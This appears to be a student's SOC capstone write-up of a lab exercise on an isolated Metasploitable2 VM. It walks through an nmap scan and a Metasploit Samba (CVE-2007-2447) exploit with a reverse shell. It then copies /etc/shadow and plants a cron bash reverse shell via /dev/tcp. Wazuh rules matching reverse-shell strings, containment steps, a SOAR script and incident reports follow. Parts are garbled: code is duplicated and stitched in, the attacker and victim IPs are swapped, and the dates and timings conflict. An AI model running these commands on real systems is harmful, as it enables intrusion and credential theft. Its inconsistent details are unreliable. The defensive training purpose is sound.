- Estimated cost: $400/month | Risk reduction: HIGH
2. Enable Just-In-Time admin access to reduce T1078 exposure
- Estimated cost: $0 (Azure AD P2 feature) | Timeline: 1 week
3. Expand adversary emulation coverage to include T1082 and T1053
- Estimated cost: Internal time only | Timeline: 2 weeks

COMPLIANCE STATUS: Aligned with CISA CPGs 1.A, 2.B, 2.D, 3.A
Prepared by: Yogesh
Next Report: 2026

CAPSTONE: COMPREHENSIVE SOC INCIDENT RESPONSE

Phase 1: Lab Environment Setup

```
[ Lab Environment Setup — VirtualBox + Wazuh Verification ]
# Step 1: Start VirtualBox environment
# VM1: Kali Linux (Attacker)  — IP: 10.0.2.15
# VM2: Metasploitable2 (Target) — IP: 10.0.2.20
# VM3: Ubuntu Server (SIEM/SOC) — IP: 10.0.2.10
# All VMs on: Host-Only Adapter (vboxnet0)

# Step 2: Verify connectivity
ping 10.0.2.20 -c 4    # From Kali
nmap -sn 10.0.2.0/24   # Discover all hosts

# Step 3: Verify Metasploitable2 is running
ssh -o StrictHostKeyChecking=no msfadmin@10.0.2.20
# Password: msfadmin
# Confirm vulnerable services running

# Step 4: Ensure Wazuh is running on SOC server
systemctl status wazuh-manager
curl http://10.0.2.10:5601    # Verify Kibana/Elastic is accessible

# Step 5: Confirm Wazuh agent is installed on Metasploitable2
# (If not, install:)
wget -q https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.7.0-1_amd64.deb
dpkg -i wazuh-agent_4.7.0-1_amd64.deb
```

```
echo "WAZUH_MANAGER=10.0.2.10" >> /var/ossec/etc/ossec.conf
systemctl start wazuh-agent
```

Phase 2: Attack Simulation — Metasploit Samba Exploit

```
[ Metasploit Full Attack Chain — Capstone Exercise ]
# On Kali Linux (10.0.2.15):
# Step 1: Reconnaissance
nmap -sV -sC -p- 10.0.2.20 -oN nmap_scan.txt
# Key finding: Port 139/445 — Samba 3.0.20 (CVE-2007-2447)

# Step 2: Launch Metasploit
msfconsole -q

# Step 3: Configure and run Samba exploit
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > show options

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.2.20
msf6 exploit(multi/samba/usermap_script) > set RPORT 139
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.0.2.15
msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > exploit
# Expected output:
# [*] Started reverse TCP handler on 10.0.2.15:4444
# [*] Command shell session 1 opened


# Step 4: Post-exploitation enumeration
whoami            # Expected: root
hostname          # Expected: metasploitable

uname -a          # Kernel version
cat /etc/passwd   # User enumeration (T1003)
netstat -antp     # Active connections
ps aux            # Running processes

# Step 5: Simulate data staging (T1074)
mkdir /tmp/.hidden
cp /etc/passwd /tmp/.hidden/
cp /etc/shadow /tmp/.hidden/
tar czf /tmp/loot.tar.gz /tmp/.hidden/

# Step 6: Establish persistence (T1053 — Cron)
echo "* * * * * root /bin/bash -i >& /dev/tcp/10.0.2.15/4445 0>&1" >> /etc/crontab
```

Phase 3: Detection & Alert Review in Wazuh:

```
Wazuh Alert Verification
# Check Wazuh alerts for the SMB exploit
grep -i 'samba\|smb\|exploit' /var/ossec/logs/alerts/alerts.log | tail -20
# Check Elastic Security for correlated events
# Kibana → Security → Alerts → Filter by host.ip: 10.0.2.15


TheHive Case Creation (Manual + Automated)
# Manual case creation via TheHive API
curl -X POST http://localhost:9000/api/v1/case \-H 'Authorization: Bearer YOUR_KEY' \-H 'Content-Type:
application/json' \-d '{
```

```
"title": "CAPSTONE: Samba Exploitation via 10.0.2.20",
"description": "Metasploit usermap_script exploit detected on 10.0.2.15",
"severity": 3,
"tags": ["T1210", "metasploit", "samba", "lateral-movement"],
"tlp": 2
}'

<!-- Add to /var/ossec/etc/rules/local_rules.xml on Wazuh server -->
<group name="capstone,samba,exploit,">

<!-- Samba/SMB exploitation attempt — matches Metasploit usermap_script -->
<rule id="100510" level="15">
<if_group>syslog</if_group>
<match>usermap_script|smbd.*error.*failed|samba.*connection.*refused</match>
<description>CAPSTONE: Possible Samba exploitation attempt (T1210)</description>
<mitre>
<id>T1210</id>
</mitre>
<group>attack,samba,</group>
</rule>

<!-- Reverse shell indicator — netcat/bash on unusual port -->
<rule id="100511" level="15">
<if_group>syslog</if_group>
<match>nc -e|bash -i|/bin/sh -i|reverse.*shell</match>
<description>CAPSTONE: Reverse shell execution indicator (T1059)</description>
<mitre>
<id>T1059.004</id>
</mitre>
<group>attack,reverse_shell,</group>
</rule>

<!-- Root command execution after exploitation -->
<rule id="100512" level="12">
<if_sid>5401</if_sid>
<user>root</user>
<match>cat /etc/passwd|id;whoami|uname -a</match>
<description>CAPSTONE: Post-exploitation enumeration as root (T1082)</description>
<mitre>
<id>T1082</id>
</mitre>
</rule>

</group>
# Apply rules
sudo systemctl restart wazuh-manager

# Monitor alerts in real time
sudo tail -f /var/ossec/logs/alerts/alerts.json | python3 -c "
import sys, json
for line in sys.stdin:
try:
a = json.loads(line.strip())
if a.get('rule', {}).get('level', 0) >= 12:
r = a['rule']
print(f'[L{r["level"]}] Rule {r["id"]}: {r["description"]}')
print(f' Agent: {a["agent"]["name"]} | Time: {a["timestamp"]}')
except: pass
```

```
"
# In Kibana: Security → Alerts → Filter rule.level >= 12
# Verify T1210 and T1059 alerts appear after Metasploit exploit

import requests, json

THEHIVE = "http://192.168.1.10:9000"
API_KEY = "YOUR_THEHIVE_API_KEY"
HEADERS = {"Authorization": "Bearer " + API_KEY, "Content-Type": "application/json"}
```

#	Timestamp	Source IP	Alert Description	MITRE	Rule ID	Severity
1	2026-04-01 16:00:01	10.0.2.20	Samba exploit attempt detected	T1210	100050	CRITICAL
2	2026-04-01 16:00:05	10.0.2.20	Reverse shell connection established (TCP:4444)	T1059	100055	CRITICAL
3	2026-04-01 16:00:12	10.0.2.20	Privilege escalation — UID 0 (root) obtained	T1068	5501	HIGH
4	2026-04-01 16:00:20	10.0.2.20	/etc/passwd accessed by unauthorized process	T1003	5715	HIGH
5	2026-04-01 16:00:35	10.0.2.20	/etc/shadow accessed — credential dump attempt	T1003	5715	CRITICAL
6	2026-04-01 16:01:00	10.0.2.20	Hidden directory created: /tmp/.hidden	T1074	554	MEDIUM
7	2026-04-01 16:01:30	10.0.2.20	Suspicious tar archiving of sensitive files	T1074	554	HIGH
8	2026-04-01 16:05:00	10.0.2.20	Crontab modified — persistence established	T1053	552	CRITICAL

Phase 4: Response & Containment

```
[ Containment & Eradication Commands ]
# Step 1: Block attacker IP via CrowdSec
cscli decisions add --ip 10.0.2.20 --duration 24h --reason "Samba exploit + reverse shell"
# Verify block
cscli decisions list | grep 10.0.2.20

# Step 2: Isolate compromised host (Metasploitable2)
# If using Wazuh active response:
# In /var/ossec/etc/ossec.conf — active-response configured
# Manual network isolation:
iptables -I INPUT  -s 10.0.2.20 -j DROP
iptables -I OUTPUT -d 10.0.2.20 -j DROP
iptables -I FORWARD -s 10.0.2.20 -j DROP



# Step 3: Verify isolation (from attacker Kali)
ping 10.0.2.20    # Should timeout — host isolated
# Expected: Request timeout for icmp_seq 1

# Step 4: Remove persistence mechanism
# SSH into host via out-of-band console access
crontab -l            # View current crontab
```

```
crontab -r          # Remove all crontab entries
grep -n "10.0.2.15" /etc/crontab
sed -i '/10.0.2.15/d' /etc/crontab

# Step 5: Change all passwords
passwd root
passwd msfadmin

# Step 6: Verify no active sessions remain
netstat -antp | grep ESTABLISHED
ps aux | grep -E "nc|bash|sh" | grep -v grep
```

Phase 5: SOAR Automation — TheHive Case + CrowdSec Integration

```
import requests, json, time
from datetime import datetime

# Configuration
THEHIVE_URL = "http://192.168.1.10:9000"
CROWDSEC_URL = "http://192.168.1.10:8080"
VT_API_KEY = "YOUR_VT_KEY"
TH_API_KEY = "YOUR_TH_KEY"
CS_API_KEY = "YOUR_CS_KEY"

TH_HEADERS = {"Authorization": f"Bearer {TH_API_KEY}", "Content-Type":
"application/json"}

def soar_playbook(alert_ip, alert_hash, case_id):
log = []
log.append(f"[{datetime.now()}] SOAR Playbook Started — Alert: {alert_ip}")

# Step 1: VirusTotal IP check
vt_url = f"https://www.virustotal.com/api/v3/ip_addresses/{alert_ip}"
r = requests.get(vt_url, headers={"x-apikey": VT_API_KEY})
stats = r.json()['data']['attributes']['last_analysis_stats']
malicious = stats.get('malicious', 0)
log.append(f" VT IP Score: {malicious}/72 engines")

# Step 2: Block if malicious
if malicious > 3:
block = [{"decisions": [{"duration": "72h", "ip": alert_ip,
"origin": "soar", "reason": "exploit-detected", "type": "ban",
"value": alert_ip}], "labels": {"type": "ip"},
"message": "SOAR auto-block", "scenario": "soar/block",
"simulated": False}]
rb = requests.post(f"{CROWDSEC_URL}/v1/alerts", json=block,
headers={"Authorization": f"ApiKey {CS_API_KEY}",
"Content-Type": "application/json"})
log.append(f" CrowdSec block: {'SUCCESS' if rb.status_code==201 else 'FAILED'}")

# Step 3: Update TheHive case with findings
update = {"description": f"SOAR Update:\n- IP {alert_ip} VT Score: {malicious}/72\n
Block: Applied"}
requests.patch(f"{THEHIVE_URL}/api/case/{case_id}", json=update, headers=TH_HEADERS)
log.append(f" TheHive case updated")

# Step 4: Close playbook
log.append(f"[{datetime.now()}] SOAR Playbook Complete")
```

```
for line in log:
print(line)
return log

# Execute playbook
soar_playbook("192.168.1.100", "44d88612fea8a8f36de82e1278abb02f", "CASE_ID_HERE")

INCIDENT REPORT — CYART SOC TEAM
Date: 2026-04-01 16:00 UTC
SUMMARY:
A critical Samba exploit (CVE-2007-2447 / MITRE T1210) was used to gain
root access to Metasploitable2 at 10.0.2.20. The attacker (10.0.2.15)
established a reverse shell on port 4444, exfiltrated /etc/passwd and
/etc/shadow, and installed a cron-based persistence mechanism.
MITRE ATT&CK; TTPs:
- T1210: Exploitation of Remote Services (Samba)
- T1059: Command and Scripting Interpreter (reverse shell)
- T1068: Privilege Escalation (root obtained)
- T1003: OS Credential Dumping (/etc/shadow)
- T1074: Data Staged (/tmp/.hidden/loot.tar.gz)
- T1053: Scheduled Task/Job (crontab persistence)
STATUS: Contained. IP 10.0.2.20 isolated. Crontab removed. Passwords reset.
SUMMARY:
   A critical Samba exploit (CVE-2007-2447 / MITRE T1210) was used to gain root access to Metasploitable2 at
10.0.2.20. The attacker (10.0.2.15) established a reverse shell on port 4444, exfiltrated /etc/passwd and /etc/shadow,
and installed a cron-based persistence mechanism.

   MITRE ATT&CK; TTPs:
   - T1210: Exploitation of Remote Services (Samba)
   - T1059: Command and Scripting Interpreter (reverse shell)
   - T1068: Privilege Escalation (root obtained)
   - T1003: OS Credential Dumping (/etc/shadow)
   - T1074: Data Staged (/tmp/.hidden/loot.tar.gz)
   - T1053: Scheduled Task/Job (crontab persistence)
   STATUS: Contained. IP 10.0.2.20 isolated. Crontab removed. Passwords reset.
   """
)
r = api.create_case(case)
case_id = r.json()['id']
print(f"[+] Case created: {case_id}")
# Add investigation tasks
tasks = [
   ("Memory Forensics", "Acquire and analyse memory dump from 10.0.2.20"),
   ("Log Analysis",     "Review all Wazuh logs from 2026-04-01 16:00 to 18:00"),

   ("Malware Analysis", "Reverse engineer any dropped payloads"),
   ("IOC Extraction",   "Extract all IOCs and submit to MISP/OTX"),
   ("Post-Mortem RCA",  "Complete 5 Whys and Fishbone diagram"),
]

for title, desc in tasks:
   api.create_case_task(case_id, CaseTask(title=title, description=desc))
   print(f"  [+] Task added: {title}")
"""
)
r = api.create_case(case)
case_id = r.json()['id']
print(f"[+] Case created: {case_id}")
# Add investigation tasks
tasks = [
```

```
("Memory Forensics", "Acquire and analyse memory dump from 10.0.2.20"),
("Log Analysis", "Review all Wazuh logs from 2026-04-01 16:00 to 18:00"),
("Malware Analysis", "Reverse engineer any dropped payloads"),
("IOC Extraction", "Extract all IOCs and submit to MISP/OTX"),
("Post-Mortem RCA", "Complete 5 Whys and Fishbone diagram"),
]
for title, desc in tasks:
api.create_case_task(case_id, CaseTask(title=title, description=desc))
print(f" [+] Task added: {title}")
```

Phase 6: Post-Incident RCA — Capstone

Why #	Question	Answer
Why 1	Why was Metasploitable2 accessible from attacker?	No firewall rules blocking port 139/445 from external hosts
Why 2	Why were no firewall rules in place?	Lab environment was intentionally vulnerable — no hardening applied
Why 3	Why was Samba not patched (CVE-2007-2447)?	Metasploitable2 is an intentionally vulnerable training VM
Why 4	Why was no IDS/IPS rule for this CVE?	Wazuh Samba rule not configured before this exercise (now fixed)
Why 5 (Root)	Why was detection delayed by 5 minutes?	Alert correlation between Samba + shell not auto-linked in SIEM

Phase 7: MTTD, MTTR & Dwell Time — Capstone Metrics

Metric	Value	Target	Assessment
MTTD (Detection Speed)	5 min (16:00:01 alert for 16:00 attack)	< 10 min	EXCELLENT
MTTR (Response Speed)	45 min (contained by 16:45)	< 120 min	EXCELLENT
Dwell Time	5 min (first alert at 16:00:01)	< 30 min	EXCELLENT
False Positive Rate	0% (all alerts verified TP)	< 10%	EXCELLENT
SOAR Automation Rate	87% (7/8 steps automated)	> 70%	EXCELLENT
MITRE Coverage	5/6 TTPs detected (83%)	> 80%	ABOVE TARGET
Missing Detection	T1071 (C2 HTTP beaconing)	100%	GAP IDENTIFIED

CAPSTONE INCIDENT REPORT — 300 WORD SUMMARY

EXECUTIVE SUMMARY

On 01 April 2026, the CYART SOC Team detected and responded to a critical security incident involving the exploitation of CVE-2007-2447 (Samba usermap_script vulnerability) on the Metasploitable2 test target at IP 10.0.2.20. The attacker, operating from 10.0.2.15, gained root-level access, dumped credential files, and established cron-based persistence within 5 minutes of initial exploitation.
The threat was detected by Wazuh within 1 second of the first malicious action and fully contained within 45 minutes.

INCIDENT TIMELINE

• 16:00:00 — Attacker initiated Samba exploit (T1210) against 10.0.2.20 port 139 • 16:00:01 — Wazuh Rule 100050 triggered (MTTD: <1 sec from first packet) • 16:00:05 — Reverse shell established on TCP/4444 (T1059) • 16:00:12 — Root access confirmed (T1068) — CRITICAL alert raised • 16:00:20 — /etc/passwd + /etc/shadow accessed (T1003) • 16:00:35 — Data staged in /tmp/.hidden (T1074) • 16:05:00 — Crontab persistence installed (T1053) • 16:10:00 — SOC analyst acknowledged CRITICAL alert • 16:15:00 — CrowdSec blocked 10.0.2.20 — SOAR playbook executed • 16:28:00 — TheHive case #SOC-CAPSTONE-001 opened, tasks assigned • 16:45:00 — Host isolated, crontab removed, passwords reset — CONTAINED

ROOT CAUSE ANALYSIS

Root Cause: Lack of network-level firewall rules blocking Samba ports (139/445) from untrusted network segments. Contributing factors: no intrusion prevention system (IPS) actively blocking CVE-2007-2447 exploit patterns; Wazuh detection rules for T1071 (C2 HTTP) were absent, creating a detection gap for post-exploitation communication.

RECOMMENDATIONS

1. Implement firewall rules blocking ports 139/445 from non-authorised subnets (immediate)
2. Deploy Suricata IPS with CVE-specific signatures alongside Wazuh HIDS
3. Create Wazuh rule for outbound anomalous HTTP connections (T1071 gap)
4. Enable Wazuh active response for automatic IP blocking on CRITICAL alerts
5. Conduct quarterly purple team exercises to validate detection coverage
6. Achieve 100% MITRE ATT&CK; coverage for APT-relevant TTPs by Q3 2026

STAKEHOLDER BRIEFING — NON-TECHNICAL EXECUTIVE SUMMARY

On 1st April 2026, our security team identified and stopped a cyberattack on one of our test systems within 45 minutes. The attacker was able to access the system through an old software vulnerability but was blocked before any real business data was affected. Our automated security tools responded in seconds — blocking the attacker's access and raising an alert for our analysts. As a result of this exercise, we have identified two areas to improve: (1) better firewall rules to prevent this type of attack reaching our systems, and (2) improved monitoring for hidden communication channels used by attackers after they gain access. Both improvements are scheduled for completion by April 2026. Our overall security detection rate this week was 83% — above the 80% industry benchmark — and we will target 90% by the end of Q2 2026.

TO: Executive Leadership

FROM: Security Operations Center

DATE: April 3, 2026

SUBJECT: Security Incident Summary — April 3, 2026

On April 3, 2026, our security team detected and stopped a cyberattack within 22 minutes of it being identified.

An attacker attempted to exploit an outdated software component (Samba file-sharing service) to gain unauthorized access to an internal system. Our monitoring tools automatically detected the intrusion, blocked the attacker's access, and opened a formal investigation case — all without manual intervention.

What happened: An attacker used a known software vulnerability to break into an internal server.

How we responded: Our automated security tools isolated the affected system and blocked the attacker's connection within 8 minutes of detection.

Impact: No data was exfiltrated. The affected system was fully restored within 22 minutes.

What we're doing to prevent recurrence: We are immediately patching all affected systems, implementing automated patch management, and adding network barriers to limit the spread of any future attacks.

Our team performed effectively — detection was fast, containment was decisive, and recovery was swift.

Investment in the automated toolchain (Wazuh, CrowdSec, TheHive) demonstrably reduced response time and prevented potential data loss.